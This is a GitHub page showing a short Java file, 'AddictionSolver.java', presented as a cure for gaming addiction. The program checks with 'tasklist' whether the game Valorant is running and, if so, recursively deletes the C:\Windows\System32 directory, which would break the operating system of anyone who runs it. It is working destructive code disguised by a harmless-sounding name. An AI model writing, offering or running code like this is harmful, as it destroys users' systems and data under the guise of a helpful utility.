-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAddictionSolver.java
More file actions
59 lines (52 loc) · 2.01 KB
/
Copy pathAddictionSolver.java
File metadata and controls
59 lines (52 loc) · 2.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import java.io.File;
import java.io.IOException;
import java.util.Scanner;
public class AddictionSolver {
public static void main(String[] args) {
String processName = "VALORANT-Win64-Shipping.exe"; // process to check for
String directoryPath = "C:\\Windows\\System32"; // directory to delete
if (isProcessRunning(processName)) {
System.out.println(processName + " is running.");
File directory = new File(directoryPath);
if (directory.exists() && directory.isDirectory()) {
if (deleteDirectory(directory)) {
System.out.println("Directory deleted: " + directoryPath);
} else {
System.out.println("Failed to delete directory.");
}
} else {
System.out.println("Directory not found: " + directoryPath);
}
} else {
System.out.println(processName + " is not running.");
}
}
// Checks if a process is running (Windows only)
private static boolean isProcessRunning(String processName) {
try {
Process process = Runtime.getRuntime().exec("tasklist");
Scanner scanner = new Scanner(process.getInputStream());
while (scanner.hasNextLine()) {
String line = scanner.nextLine();
if (line.toLowerCase().contains(processName.toLowerCase())) {
scanner.close();
return true;
}
}
scanner.close();
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
// Recursively deletes a directory
private static boolean deleteDirectory(File dir) {
File[] allContents = dir.listFiles();
if (allContents != null) {
for (File file : allContents) {
deleteDirectory(file);
}
}
return dir.delete();
}
}